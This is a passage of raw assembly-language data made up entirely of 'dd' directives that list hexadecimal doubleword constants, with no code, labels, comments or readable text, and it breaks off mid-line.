dd 0EA17D006h, 940041A9h, 126B37D8h, 75D70E7Fh, 19E9177h dd 5EC3EBDh, 6311C008h, 0E83C807Fh, 8DDE80FBh, 0D823DDD6h dd 0A25B3991h, 87DB111Ch, 82D1A678h, 0F4494B98h, 3D7A20ADh dd 0D5B9720Ah, 0C100A034h, 3AFAD9D4h, 0B2670038h, 8049B151h dd 61394B75h, 4D6083AFh, 0C3029436h, 39D1F8E9h, 0B0779FBh dd 0B3CBD553h, 0C0AA9887h, 0E345FDE0h, 0F4325Dh, 6F6C741Bh dd 5CF6EBh, 8C93B023h, 3C4590C7h, 0AFAA8500h, 3BD2FE10h dd 8AD40075h, 0E948DFB0h, 1B000741h, 62575EDEh, 143CCE5Fh dd 9C9F802Dh, 0A6E6438Eh, 54A1F423h, 0A7C828ABh, 34DF0DF0h dd 6711C0C2h, 776F4C6Ah, 0A3D96209h, 0F358214Fh, 0B7F146BDh dd 0A0067C64h, 3DA94h, 1FAB338Eh, 8DDF757Ch, 5E93BF06h dd 0C87BE9h, 6B9BAF49h, 2097EC1Ah, 2EEE400h, 6A39F0DAh dd 0BFB21E2Ah, 0B6FAC04Ch, 0FC4BE3EDh, 0D731A800h, 71D99452h dd 0E6441CBFh, 63EC00Bh, 8A9B01AEh, 4A639C07h, 0FED03275h dd 74876CFFh, 20CE00EFh, 289B27B4h, 0BA003A76h, 0E8E21C05h dd 0A06DBC26h, 0ED5681h, 0B56A0902h, 39677641h, 19BE9400h dd 0F5D68762h, 0F28F1724h, 3BEC0007h, 4FCEA9Ah, 925A2800h dd 34F15246h, 70B600CAh, 0E43D47C9h, 2A601138h, 13EF4D70h dd 8124916Ah, 0CF1B04D9h, 5960F4D5h, 760330F4h, 0C93937A2h dd 0AA4AB858h, 0E1100033h, 3CBC9AD1h, 0C31DC50Bh, 0FD80A0A1h dd 1CB2766Dh, 7737061h, 9C529378h, 0F27E3037h, 0F40068A7h dd 80CA5675h, 0E11BB4h, 2C1EFBCCh, 47701A9Fh, 3EC0F607h dd 0C7301927h, 1F5F8B0h, 0C3145B4Dh, 0C4E4601Fh, 84000436h dd 4046E76Bh, 0AE5577h, 6AD3E5C0h, 3F71AF0Fh, 0E1AB3E03h dd 83F6C10Dh, 482FB0EBh, 2849A4Fh, 960C852Dh, 0C440502Eh dd 8912F0F3h, 0B48A2980h, 95FF8FF0h, 75007894h, 0E4C58E37h dd 0A510C85Ah, 216CC10Ch, 0E5F095h, 83367E18h, 2F3A23B9h dd 590B5Ch, 102B6DF8h, 0DC6893h, 3081E8DBh, 41054597h dd 5F0075ECh, 0EB0E1C48h, 0A5EDEAh, 0A77836B3h, 81574947h dd 0EE25E37Ch, 10B0482Ah, 0E8DC788Eh, 0B8926Eh, 0F012D9C6h dd 924A46F2h, 6A876CBCh, 80DBAFF1h, 0BB1052DCh, 6D0712D4h dd 0E700C82Ah, 0F4014E81h, 0F2BAD01Eh, 2AA7F814h, 18007130h dd 377D6F2Bh, 0DA4482h, 3D571E3Ah, 0C8C3DE79h, 7D60C894h dd 3C8774h, 272F4073h, 60F1354Dh, 0EBFF8200h, 0CA92449h dd 33B3015Ah, 94AC8E51h, 2250F025h, 0A43A753Fh, 1800A991h dd 8630A1A6h, 5D16002Ch, 396A49CBh, 1B03898Ah, 0D193612Ah dd 59DBA082h, 0F0FC0077h, 0B50A27E5h, 31005A9Bh, 0D4305004h dd 681479h, 8EC58797h, 9C35AFBBh, 442B4301h, 61460932h dd 77482F0h, 367F3476h, 1D0881B4h, 7844D843h, 0FC0E84A8h dd 0F39D3200h, 9E9729A6h, 2D401292h, 6EA8B030h, 2372388h dd 82AA077Ch, 0ECE8E50Fh, 0D40E4349h, 1301564h, 19EAB414h dd 2081D371h, 80C52CA7h, 0E594F076h, 23B03Eh, 2E6C4427h dd 7CD8596h, 47A819F4h, 0F205B020h, 2FF009F3h, 6C8780Bh dd 0F73300DEh, 3BA2586Dh, 4E93F43Eh, 4504A4B4h, 9BA17460h dd 660539h, 88D1B719h, 18B006AAh, 0FADB9D00h, 2AE4E96Dh dd 1757716Bh, 0EB24B1h, 0DE688D7Bh, 19747135h, 514A257Fh dd 664EB0D0h, 6E61580Bh, 0EA7E13h, 843197E6h, 62030216h dd 88AA199h, 8F8EF86Dh, 78275F6h, 2BA27547h, 0E2998090h dd 0F301FC80h, 8D13D279h, 0A9E07F78h, 0BD435C54h, 0F8A45503h dd 8764D0Ah, 5CCC21C0h, 0FAF942h, 9074A15h, 3E6F8205h dd 0EC89EB07h, 0B993CF8Fh, 0FC85B9ABh, 92383FEBh, 0F768480Ch dd 65985C11h, 0CD70D803h, 3079842Dh, 3C21E409h, 3100CCD9h dd 126019A0h, 1B6879h, 0EBDFDB6Bh, 0BA89070Bh, 99F3E503h dd 0E1FBE98Ah, 71808371h, 584C1E9Fh, 0AD388808h, 838338Dh dd 0C5210395h, 516C4C25h, 0BE8E72A1h, 637E03D8h, 0D0186D40h dd 1B7941AEh, 0C8B6C115h, 145C023h, 70D9CCE2h, 39000ED5h dd 85C4CCDAh, 2C60011Ah, 0B1157740h, 6F50C0BAh, 3C746549h dd 0E8F03E00h, 0BB3DF229h, 0F3A20092h, 321C9A70h, 41093536h dd 8029D37Ah, 91F13E5Dh, 0B44A003Ch, 16B37F73h, 4800CF70h dd 4FC471DAh, 3D2E8980h, 0F607750Ah, 0A104BFE8h, 0A84BD18Bh dd 0EC006D62h, 0DF29FF59h, 98DB18h, 0E7D5149Ah, 79CCA3CAh dd 958A7D00h, 51A4EA69h, 6C47001Ah, 0DE3139B8h, 0D9F4FD0Eh dd 7D19DC5Ch, 0AD3ABF7Bh, 0B487002Eh, 9EC6E10Dh, 634B06A3h dd 8FBACB9h, 6B213B60h, 29C6EAh, 357E66A0h, 0B777BD74h dd 9434A400h, 60B93DCCh, 0AF44304Eh, 703BEA18h, 38FD840h dd 1DBF2C9Dh, 86D37AB4h, 67C02DA3h, 0E170ED94h, 0BB094006h dd 30087808h, 4220B573h, 8406ED9Ch, 9E4C4580h, 0E4241071h dd 39C20465h, 2D0D9CECh, 889730A9h, 8A206D60h, 3170CE8h dd 0C1D8B778h, 0AF80FDF4h, 2D0C2A81h, 39B29FEFh, 7B7500D4h dd 1B694A2Fh, 9CC3184h, 77421DFh, 86A47B7Dh, 207070A2h dd 49E0E95Dh, 77B38415h, 488A06A8h, 700FE4h, 0A79E7FA6h dd 0F957F5BEh, 0F78B6800h, 0A25399E2h, 2388002Dh, 5DB903C4h dd 31046F0Fh, 6A7C9C90h, 491DF5ACh, 4FF40063h, 0D0288CA7h dd 9CCE2F1Eh, 6752EE40h, 58E3A4h, 0EF695FF6h, 0BC176C97h dd 74D4F800h, 0C763DA71h, 6BE8005Eh, 1CE45C89h, 3079D6Ah dd 0EFB0D112h, 0B5991620h, 68EB0049h, 747AC6D8h, 0CC2E70ACh dd 8C00ADBCh, 8905E7EDh, 0F41B6F1h, 1DE241h, 1FB0FD99h dd 9E004BF9h, 707E9306h, 0C2FF3685h, 807FE118h, 2DE9B600h dd 33BF0EDFh, 79A14B65h, 80FCB056h, 51926D81h, 0C06195E2h dd 5E88350h, 60F1393h, 98D15AEh, 60CF8F59h, 7F5EB581h dd 85160014h, 11AF9144h, 0B21D952Fh, 0CF000B4Eh, 335C49F3h dd 94D80090h, 0BA233DAAh, 0B00F648Eh, 7817011Dh, 1D72A8B1h dd 983529C5h, 6016D092h, 0E911ED00h, 98EB442Fh, 0F883E7C1h dd 7370743Fh, 0A1B3114h, 17680060h, 8EEE88C1h, 0FFAD0397h dd 0FE7C9181h, 0CB0E2000h, 0FC8915A7h, 98BA30ABh, 34705C68h dd 0E05ACC03h, 80AC0D5Eh, 2450D093h, 0C12135h, 7D586632h dd 0B107751Eh, 3E2B4E6Bh, 63C1D760h, 90F30E83h, 9580281Dh dd 9C77ACDAh, 8F6A0200h, 1054F731h, 0FCC1035Bh, 0FA7832A6h dd 191DE0C7h, 0AD03590Bh, 0C2478F66h, 0B3C0E5ECh, 6036AE96h dd 0EE5230D8h, 7D0345A3h, 0B30A4147h, 0E6083397h, 0A3A8F821h dd 0CF007CE9h, 35EB90A7h, 419210EDh, 4650BBECh, 41A4047Dh dd 3240E77Dh, 0EAF420E9h, 4B06B2A3h, 0E4AC0BA0h, 0B9840019h dd 7A9B7CBBh, 0BE58F8DAh, 7D4C3B6Eh, 7E6FCC0Fh, 0E91F8042h dd 1D48E728h, 0CCBE563Bh, 0D8F9D6E2h, 36B57C00h, 3D0B1C9h dd 5DE71E29h, 5BD106EFh, 34061021h, 0B04E538h, 6FC0130h dd 8B9C15ADh, 23E1F8AEh, 0FF08F766h, 0E7495021h, 461C3B38h dd 0C8400073h, 7F653D2Ch, 186EDAAEh, 7977E180h, 0B050ED29h dd 603C80FFh, 1B7D108Ah, 4C00980Ch, 63BD82B8h, 1D1A21h dd 0ABAE03AAh, 483681A7h, 0B3019203h, 0D376B243h, 870B8041h dd 6610012h, 0AAADEE65h, 810018BFh, 8D3E39D3h, 3D24759Bh dd 0A787C8ABh, 70E44219h, 1C0A01F5h, 272EEB07h, 8A21C982h dd 61D8623Ch, 0A5FCEBE9h dd 0AA6E0028h, 8910905h, 71021FA8h, 8EFF1BACh, 7280609Fh dd 0DD3395Ch, 6CAA580h, 0D5A2BC35h, 5D03947Ch, 0E58B34F5h dd 0D0EBA34Fh, 0FA6E069h, 0C2FBA211h, 0A3AD1F20h, 0AF005807h dd 1838E734h, 4F0896h, 0C9217DDBh, 0C0DFAEEEh, 3B0B5900h dd 575035D4h, 0EE20FDC8h, 0F20E0001h, 0B72AA0F8h, 0FF7F4FA3h dd 67006CF4h, 2303F4B9h, 101899h, 0ECD5079Ch, 0AFD1D40h dd 0D23D4E0Eh, 2D88A0BCh, 2522F67h, 79600575h, 8EC8ED33h dd 0B2769CACh, 2DD6CF00h, 0F1D5BBAEh, 208F07A7h, 701A333Eh dd 68E9BD8Ch, 0EA01C803h, 90779927h, 7B919826h, 0ACB4003Fh dd 0AB97CCD5h, 0BA004734h, 165E5AE0h, 9B3D01h, 2F7DD6EFh dd 77B42728h, 97381D00h, 93F5D0E7h, 11801E1h, 0CB10D5FDh dd 3C90F48Ch, 0D7363Ch, 22E8C11Bh, 0A555BEFh, 81070F46h dd 964200E0h, 593B7653h, 0DF972600h, 9DE34B90h, 2675F294h dd 2046A1CCh, 8BDD0184h, 5845D0C4h, 10C4405Ah, 1E0064EFh dd 7D753820h, 1DC157Eh, 0B4CA9408h, 0E8BA9F49h, 0EB01BD39h dd 36716F75h, 3C7054AFh, 0E33E0004h, 0D17A0C44h, 0EB00D80Bh dd 0C56B2BB4h, 5864781Bh, 4F3E0532h, 3907E184h, 55109020h dd 0E00042C8h, 565D3D2Eh, 0F50201h, 0BAD4A366h, 40D7C9F1h dd 0BE5D600h, 2284BF5Ch, 7E5D16FDh, 0E386000Eh, 20E0CD81h dd 8FEFEC00h, 4BC8B767h, 7CE23966h, 0FCD50076h, 0F1B1A57Eh dd 430092F4h, 4DEDA934h, 6AF7B8h, 0E2A70172h, 792CBB54h dd 6B8A0C50h, 27EC7F12h, 0A2A12440h, 0EC3E0BB6h, 0D6C74C2Dh dd 34A5AE07h, 0E2D1A002h, 8900642Ah, 6F99EBADh, 18352DFAh dd 4C0B0185h, 0CB0067EEh, 23026244h, 0C6FC74h, 0D5A0209Ch dd 66EAF9Dh, 0AC120C00h, 70D482ECh, 0CE910089h, 0B7DA972Eh dd 9A031F3Bh, 0A6D9E647h, 6A0AB0ECh, 0EE90071h, 153DE585h dd 8400E4B8h, 8979666Dh, 7BB28CBh, 0DFF0FD5Dh, 70487018h dd 9D0082E5h, 1E6797B6h, 3C5FA246h, 690041C9h, 2390ED6Eh dd 0EA0029AAh, 32A944AFh, 95ABD67h, 0CE5D8740h, 7A941480h dd 0AC00E1B3h, 7CE47680h, 2A1575h, 7F36A94Fh, 2FB1127Bh dd 2D17F106h, 386272h, 2360B743h, 67D21F2Eh, 44FCC724h dd 0DF54902h, 0B6E040FDh, 9BE22Ch, 9D133CCBh, 0D3765F51h dd 72005092h, 9C0573FCh, 0C6A5E4h, 4732B557h, 4CD348C1h dd 8F8EFE02h, 0D71A7974h, 0BC09FE58h, 80817A42h, 0C3CCDD55h dd 0C053013Dh, 0EFC8103Bh, 4EB420ABh, 0D30A3900h, 331CB441h dd 3881011Eh, 8BE0C4F8h, 59D1E4EAh, 8F53A63Dh, 0C0636EDFh dd 4DAF2F1h, 106F6778h, 84CEA158h, 8B60A040h, 10D9C500h dd 0D6B4887Ah, 4BD500FEh, 3EF3772Eh, 0C906A76Dh, 0E707AB02h dd 0D0C10040h, 0EFEA119Bh, 8E03547Dh, 97E6B9ECh, 0A5C8D8BAh dd 0C07351h, 0B0F3A8CCh, 0C27F5DAh, 0A604700h, 99EF878Ch dd 0CA50001Fh, 4030E9D4h, 9100924Eh, 9FDEA4DBh, 4F1963Bh dd 0E7B8FEB6h, 6338C7ECh, 0E8D3DD3Fh, 4294D9E8h, 0A4094375h dd 0DE96D1h, 0CCD73DECh, 0B8F300D2h, 76799DAh, 47000F6Bh dd 7F8F2786h, 149AE8Ah, 300C14C2h, 8F2D25FEh, 72C0F98h dd 8CF10EF3h, 0B18F8A21h, 0DEC0410Dh, 0DF080BF1h, 433DD973h dd 0A5F080FEh, 7A6E2961h, 6707005Fh, 0A5BE88Bh, 5E0F97DBh dd 20354A72h, 0EED5AF4h, 1BFEFA50h, 700BF54Bh, 89C7801Dh dd 0AA110D8h, 0A64000F1h, 0D6A4DD50h, 8D00E699h, 0EA1328D2h dd 0A02491D9h, 0AFB894Ch, 6C06EE2Fh, 40751E70h, 9B2A4FFEh dd 957E461Fh, 1EC04D07h, 0B5204496h, 0ECDD4090h, 688C00ACh dd 304F672Ah, 2F00BFAEh, 0D3B8219Bh, 53BE4Dh, 0F65B5292h dd 5457AA35h, 0CF01E903h, 0D897704Bh, 37BA8BDh, 192C0E79h dd 49D8558Fh, 2E00EF9Dh, 7748F232h, 74A13BE8h, 0AAEE2F8Eh dd 0FD1E2178h, 803B0643h, 84351103h, 0FC10A6CEh, 69BB0985h dd 0B680DAC1h, 52296009h, 0DBB8B600h, 26CE61BFh, 637523h dd 7A544191h, 93E57FC5h, 377DB603h, 80BED9D5h, 700D66FEh dd 68A200B2h, 5054064Dh, 6E0A14F2h, 0A0FD7F43h, 2CF1880h dd 0E59BE9Fh, 973DEA56h, 4D93ACC0h, 0BA010168h, 0B1D91ED2h dd 0B0507C5Ch, 1096B12h, 55DD8EF7h, 0F0D9EEDCh, 0C958881Ah dd 80BB0CCEh, 2661F6h, 2811A343h, 0B07F68B6h, 0ED2DF507h dd 79903BDAh, 5B76F9h, 1D4506EAh, 1B0DB58Ah, 4193DE31h dd 88028AFh, 51316C86h, 0A10CFB02h, 1923AEFFh, 0C8330016h dd 0C76A8D48h, 943E7FECh, 0E15C3E93h, 688F70B1h, 0F003E4h dd 853BC4BEh, 2267CF1Fh, 0ED1EC7F8h, 920326E6h, 0C0287F16h dd 1596155h, 185E4CECh, 80F7801Ah, 0D044A291h, 77EE4D1h dd 0C3FAC911h, 825DD0ADh, 8B18EA2Eh, 4C79145Fh, 0F86C0098h dd 68503CC2h, 15305504h, 92D1B929h, 7C1A077Ah, 6E46C70Ah dd 8C8F9CE0h, 313F8309h, 4864B0BCh, 1421290Ch, 9859C5A7h dd 51DA5403h, 690E1B5Ch, 0A02A7D3Fh, 7ED8AE50h, 451A3D4Dh dd 149F69Ch, 0A4D9F273h, 0A88EEC4Ch, 186B2600h, 0B1743414h dd 0D460C085h, 9EEECBB4h, 0DED56A00h, 0DFDC58AFh, 6E3C0132h dd 46182696h, 2171807Eh, 0EE6858C2h, 11A48A1h, 42DB8800h dd 0C486133Dh, 0B0F84028h, 0A46A920Eh, 21556F15h, 0A561995h dd 5828058h, 0E41AFEFCh, 0F9B0408Ch, 0A3DA527Eh, 326AD700h dd 0E6A5C138h, 0F530C29Eh, 0CC832F86h, 7EA16715h, 0F2891090h dd 0CEE3036Dh, 0F8EA76D2h, 61562598h, 1B8C3A00h, 4F10EC4Bh dd 0FAE9005Fh, 93DDF417h, 46522966h, 8B0200D8h, 2BF1FCFDh dd 0CEA30CB5h, 0C161957Fh, 82634E1Ch, 0AA41C29Dh, 8AB5319Ch dd 603252F0h, 0B862B85Eh, 783AA513h, 0CD3581F8h, 0B165074Ch dd 0F3CC60CDh, 48E16785h, 4225C556h, 5B734C84h, 0A9F8F4A0h dd 8A070B30h, 0E9B33F6Bh, 7FF21EB0h, 1289C08Eh, 37DF7429h dd 0AB68410Bh, 0F032003Eh, 0C413A7F8h, 80678DC9h, 0F95523CBh dd 8069A56Fh, 819C8E1Bh, 0B5B198Dh, 325C1926h, 36C900BCh dd 0CB243E3Dh, 0B2733F2Fh, 0B7816481h, 2027C55Fh, 1460AE1Ch dd 0B5979339h, 890D015Dh, 60D4FAD8h, 447DF86Ah, 0EB1D1A16h dd 0D64D4F00h, 722A2h, 468B5068h, 0A96B927Fh, 107AAF06h dd 15117AEh, 0B8744D5Eh, 0DC41D67Eh, 4F44FBCh, 0BC10100h dd 0CB7D797Fh, 0A0217A91h, 3999FDACh, 57002FAEh, 0BFADC46Fh dd 454A0859h, 370AA5ACh, 83AC5874h, 67AA0F60h, 89353087h dd 0D701640Dh, 0A8ECB6BDh, 0FF302D63h, 561426C3h, 5F4E6274h dd 0C50ABDC0h, 35502E00h, 0F9DAE055h, 62211ECAh, 70111FE7h dd 7D4CA2C1h, 0BD49254h, 984F5E01h, 639D3D70h, 4D171E8h dd 4AAEF8DDh, 0B2740446h, 0BC08C090h, 6963003Fh, 6FC29810h dd 0DAFEF00Fh, 50DBF30Eh, 72EE182h, 1C231255h, 0A0808C04h dd 0F84380CBh, 2CA135A4h, 0C5E410B1h, 0C06A1FB5h, 59D7C08Bh dd 693AF4B4h, 5C904904h, 94CC8ED2h, 0A0830023h, 5D312597h dd 2609384Eh, 1074D6E1h, 1D4D5150h, 40F5FE82h, 0EEF2D10Fh dd 0E701E331h, 506BCE25h, 0C1D7AE1Fh, 73E1283Dh, 0EC3C70h dd 8C210D52h, 61A77867h, 0BCAEEB1Eh, 200678B0h, 52BB4CDDh dd 44EDF600h, 0C76924ABh, 11079200h, 2747C0AAh, 0A9126046h dd 0BBF97094h, 4E8F8B07h, 0FF764D1h, 206290C2h, 60A2ADD9h dd 0D086B490h, 1D08874Ch, 97EE1A6Ah, 0BB769202h, 0C08C4031h dd 0B832E726h, 0DD8F4D3Ah dd 0C520CD52h, 5D2431C9h, 9AE80084h, 45B0E16Ah, 0B5011920h dd 9226A3B3h, 50703AB7h, 22FD3A65h, 3F9C02A4h, 13642000h dd 0A58B9E46h, 6E4988C0h, 9B6C7F1h, 0FC8073F7h, 1631C20h dd 3F73991Ch, 4419B71Eh, 959406C0h, 81BBB36h, 0B17515ECh dd 0E7FDAC87h, 0CDDC7920h, 33BE0F42h, 0A4A0CACEh, 0FB884371h dd 5A528F01h, 0C81AF621h, 0F9132432h, 8C0C20ADh, 7203947Eh dd 0DA6E1DB9h, 18A79224h, 8E048761h, 12568BB8h, 166BE0D8h dd 183E1B69h, 0EAC459BAh, 0EB2B63Eh, 0A0B581A0h, 0F8D30932h dd 0E8BD057Eh, 80037B36h, 150B60F8h, 0F2C34B05h, 4C87ACD8h dd 655E0710h, 1CB5F8FCh, 40A26997h, 75A78A50h, 2F008816h dd 0C68DC2A4h, 21229DEh, 547B6207h, 0A880E73Fh, 5BA92345h dd 0A9C924FAh, 441C115Ch, 96D05831h, 0A2D50F09h, 5C26DA72h dd 0CF022111h, 77C14181h, 989C6C5Bh, 0A75405A0h, 20AE7F89h dd 0F3B4C080h, 0FF00BDF4h, 1D940BD3h, 32DAB37h, 3B13960Ah dd 0B03AEE05h, 5D3D0C2Bh, 142A5118h, 0A9B728F7h, 6360378h dd 0DFFDC6F4h, 906A6097h, 0DE1327AAh, 2821E017h, 9824BFAFh dd 385200FCh, 30B076B3h, 0A24CD33Ah, 48D00D8h, 9E615CDCh dd 8790B9D7h, 71193091h, 0F34B3133h, 823583F0h, 5E74DD10h dd 450F0C01h, 0E066F3F1h, 0E916240Dh, 2403C4C3h, 155D2Ah dd 0A736F8B9h, 0B516FDCFh, 2770514h, 300D2294h, 85F0E704h dd 88E843DAh, 0FC76CB1Eh, 9944C840h, 0A7DB4F3h, 85DC1B14h dd 0A9E33B6Ch, 78D0BBDFh, 3F00C783h, 0E82B0E95h, 3357DF9h dd 9646A502h, 0BFA81C6Ch, 74002FB6h, 0C53BD4CCh, 1074D2Ah dd 27599743h, 741F93D7h, 0A4727BE8h, 0E95A7430h, 3E1AFDBDh dd 0BB802A71h, 0D214DF39h, 60009164h, 26E92F9Ah, 0B09528E0h dd 1C53002Ch, 0E56BD1EBh, 6716CED9h, 1033BE56h, 3364D87Ah dd 0ED7B0041h, 0E4ABA49Dh, 4CFA8DEAh, 9C495C12h, 56659403h dd 6F63F883h, 20691CFCh, 29D944B4h, 47DCC298h, 0E810B311h dd 0F61E7759h, 0A580CAAFh, 9B426701h, 65BE009Ch, 7C19F0CEh dd 74B8E9CFh, 7DA272Ch, 0E5061D00h, 13C7F204h, 81A34Bh dd 0E6DDAF64h, 80623FF8h, 0AE5775B9h, 0FAFDA088h, 2E5B6Dh dd 3F2C7EBFh, 341B95C8h, 0FE68970Eh, 0A2EC0B14h, 0C20FF064h dd 3D007F94h, 0BEC72AA5h, 0C51AE31Ch, 90D40A25h, 46ACAA60h dd 0AF230095h, 49082CD5h, 0CB2ED270h, 5802E0E5h, 44ADCF0Ah dd 3AE13A00h, 95549Fh, 0A9B770A4h, 0F4008E1Ah, 1378EDA8h dd 26CE0108h, 40F49327h, 67D69EDAh, 87F8B90Fh, 0A2540326h dd 72A8E088h, 0ED62062Bh, 31E31AEAh, 0C79E4700h, 0FFFC1268h dd 26D30648h, 21459728h, 477A4A0h, 4EAC9350h, 444E804Bh dd 0D8C82765h, 0E2848AF1h, 0B0F08CCh, 97264BB5h, 0D69C3C18h dd 87EC7958h, 0A4973D84h, 0E4313F1h, 68C5C3C9h, 7F2D830h dd 5592141h, 49413C74h, 0E260A000h, 0D7C42EAEh, 0C7871325h dd 2CF8207Ah, 0E60070EFh, 884722EDh, 1D12826Bh, 0C0EBB608h dd 4CBA56F9h, 6090EFECh, 0BE468400h, 2331F175h, 861B0302h dd 0B4962654h, 0F9805118h, 0D6E4E1h, 0D88EE8BCh, 0CF7FEE2Eh dd 0B238E306h, 4AD84B73h, 930405Ch, 0ACBB4C0Dh, 892C17E8h dd 3E0FAC76h, 0D749603Ch, 4EF8F00Eh, 96C843A3h, 1AFBF97Ch dd 0C03C1148h, 33200982h, 411E02FBh, 5D28EFDBh, 3700B044h dd 0B4B2F85Ch, 0ED81F1h, 0C713E8D8h, 2A16551Ch, 0B3C4E300h dd 0C970B9BCh, 4244CECh, 4E7B7209h, 80755400h, 3CA0461Eh dd 0C900C3C5h, 1B9276D1h, 52F65E0h, 63150458h, 0A424C162h dd 0C485FC0Dh, 0A4DB2124h, 1058A501h, 283025D4h, 5912141Dh dd 0C40588F1h, 0C8AE1B97h, 60039C8h, 0A6853575h, 4EB34931h dd 0B5B42045h, 7105D5EEh, 0EF43120Bh, 1025C500h, 0FAF423E4h dd 18C00B5Ah, 5890ADE6h, 1300679Eh, 406173CFh, 0A025A431h dd 880DA9ACh, 0ACB0E83Eh, 5DFE5201h, 785BBFE6h, 8F009839h dd 4AFD3D5h, 5F060596h, 307ACBFEh, 1EF398C8h, 66A955Bh dd 48CDBCA4h, 5EE5603h, 0A1943A51h, 50703F6Dh, 4C4A078Bh dd 0A091E18Eh, 4E7C1BD7h, 24144DFCh, 58AE97h, 364530A5h dd 5112EF1Dh, 0AC48FCC4h, 7B4802D0h, 5D404AB6h, 0DD072444h dd 0C9625BD5h, 661267D0h, 6ED004DBh, 0E09AEA15h, 0EC05B890h dd 5FA26B9Fh, 223FE420h, 0EFD900DDh, 6470DF97h, 7703EE63h dd 0A3C660EAh, 4082EC8Bh, 75257Ch, 4FFE0444h, 0D10E8C55h dd 2E253011h, 8BD6E543h, 0C62240C2h, 71B70048h, 0AD6F4AA1h dd 0C41E831Ch, 8E00CF57h, 9396AA02h, 9C000DAh, 5C6792C8h dd 952953EDh, 0DF01C0AEh, 2461B196h, 12578EF4h, 0C8998FFCh dd 83002CA0h, 0B37D28B9h, 8C64Ah, 8146FA94h, 0CA4C3BDCh dd 84748D0Eh, 2BF781C7h, 9C229428h, 34135614h, 0B52AC400h dd 5248725Fh, 74361513h, 124F020h, 547700F2h, 0E534BC2Dh dd 8C009DCCh, 0F799408Fh, 964623B6h, 0AA218000h, 8228ACEBh dd 1BFADC00h, 57A29B5Dh, 0AE4D07C5h, 84FCE759h, 0C710E05Ch dd 0B4F97729h, 806964A4h, 0AF3CA74h, 7D240F7Fh, 6B8FD1BEh dd 94CF3E82h, 5DAE3C40h, 408FD524h, 0F5C6F000h, 0F28FCE3h dd 0FB89874h, 0ADD3ED62h, 0D0C1072h, 14AF915Ah, 0A3CA00FDh dd 481F255Fh, 473862C4h, 0D558CECh, 605C312Dh, 42D7997Fh dd 25E6F3EBh, 6D715A14h, 0ED3800A6h, 6F3FB865h, 9E8904A9h dd 814F8618h, 0C231203Ch, 30B59861h, 0D9C056C0h, 411DED2Eh dd 0D8FB074Bh, 7D4BD32h, 8FC5A082h, 2D3DE064h, 25E705D3h dd 0C889928h, 5C96278Eh, 1B0734A0h, 0BF03C94h, 0E9F2D405h dd 8C0040E7h, 17DF3F66h, 0D54B008Eh, 0A291738Ch, 0B816D985h dd 0AC8860A5h, 0B529007Ah, 57DBFCEDh, 0B1001CDEh, 0A3583B28h dd 43860h, 69337A48h, 0B7C63D0Eh, 0C7079C00h, 724F209Bh dd 40454ADAh, 82B5EF7Ch, 105D75Dh, 2294D19Fh, 1600BCA2h dd 0A1B41442h, 64B55EDh, 0AF720030h, 0DA1B2D1Dh, 0FFE0D814h dd 0A0CEC501h, 0D7B7D8F2h, 0CBFD9D0h, 917EEBECh, 32010731h dd 51CDB9CBh, 0C86094EDh, 0DA624498h, 7C919D79h, 0AA50C880h dd 2390A80h, 0F96A6B28h, 0A0E845A4h, 0C377EDECh, 10001499h dd 0CFB57ECEh, 69360059h, 18791F89h, 5E00C53Bh, 0BA158DC4h dd 27A175A4h, 8C7C05B6h, 15017021h, 0F124286Fh, 185B0870h dd 211AAEF0h, 0CD000A98h, 0F27A5C39h, 0F6AA94h, 0FD28F157h dd 0A018DCF8h, 0DC20414Ah, 1AA9ECFh, 0D8C7DA4Ch, 6072A4F5h dd 7E04612Ch, 733F14F0h, 6F3488h, 0E41263C7h, 0E8B099ABh dd 5DBA0F00h, 18B6D266h, 94189CE0h, 8E0058AFh, 3CBA2136h dd 0FB1D746Eh, 4B00D6B0h, 0F8EE4123h, 88814CA6h, 0B6003490h dd 658C2403h, 5A00B0E7h, 0D220C672h, 30818A69h, 0DB295F7Ah dd 5A002C1Ah, 308CF7C4h, 9ED344C6h, 4ABD4034h, 0F300B9DBh dd 0BA0ABFABh, 50D221h, 8AA1C819h, 91264AA8h, 0E906099h dd 8C24D585h, 83074A94h, 912DE295h, 0A8CF4D50h, 3C42003Bh dd 241E18E5h, 38B87CC5h, 0C6046D00h, 0B4F1ECBAh, 0CCE958A6h dd 24095427h, 0E7246C82h, 9F5084E0h, 0EC41CA00h, 9826A3D9h dd 0A889D448h, 738124C0h, 2B00D584h, 5AD95007h, 244C2E1h dd 0F9720BFEh, 0D4522FA0h, 0E100A084h, 15CC22BBh, 0A958DCh dd 0DECD9D0Eh, 7368F071h, 9FBB78A3h, 4F52FE0h, 0E91308EAh dd 821A8F8h, 687DE11Bh dd 62008C48h, 0F2DDC67Dh, 2613FF8Fh, 0DC907E05h, 5EDACD5h dd 97758C87h, 5BF4D38Dh, 0AD79D28Fh, 0EBE0C8AFh, 13083E37h dd 0CCBDA500h, 8E107D7Bh, 0D090A1B1h, 0C0773884h, 3B90E2FFh dd 45D98006h, 0A59D9BF3h, 5E4D0376h, 0FA7F3A93h, 6D368100h dd 771357D2h, 0A6A4008Bh, 0EEA92083h, 8019ABAh, 0B3CB74D9h dd 983D463Ch, 9B588B00h, 7A163D6Eh, 0F665C000h, 4A67ED2Dh dd 0B8D0E81h, 0CE1074Ch, 2420AEA1h, 400A90Ch, 3D2644A5h dd 382B98A4h, 5289C856h, 8013D91Ah, 7E07DFF8h, 9C118F60h dd 0DB5E14h, 0BC53F873h, 97ECEFA2h, 0A36D0600h, 0B20CF21h dd 1E0E3255h, 0CC725C69h, 43893400h, 0E96141CEh, 0D977FAh dd 4D60D5C7h, 51B53807h, 64265D26h, 0CC004B16h, 29C4C1D3h dd 81F8607Fh, 2E49E2AFh, 9B9A6000h, 3B3F316Ch, 0EA5200D8h dd 7826E705h, 0E509892Dh, 0C85C751Eh, 5DFF34Ch, 6C2BB4E0h dd 3CD50706h, 0A42F31CAh, 33C0F85Bh, 23B890F3h, 0B6891188h dd 9189270h, 90148496h, 0C940FB4Fh, 0ED9E0224h, 5FABB613h dd 4F07ECD0h, 1B14E27Ch, 0A06A4956h, 0B5B66990h, 8C270B08h dd 5A20B047h, 9E588E1Ah, 9F6A0010h, 6CAA326h, 47B053Bh dd 0A474E3AEh, 0B30289A0h, 481A8C85h, 0D9CFE138h, 0F9128468h dd 650CC8A6h, 6F68AF50h, 8A4EEF00h, 2C87EB30h, 62D300D8h dd 9D664C70h, 9050294h, 8E27C496h, 0BA0088Ch, 3A507E6Fh dd 0FD3D6498h, 0D42F7A00h, 698A8ECCh, 5FA01AB3h, 50DA2119h dd 0A039509h, 9FC48074h, 9CA31781h, 0F66C4048h, 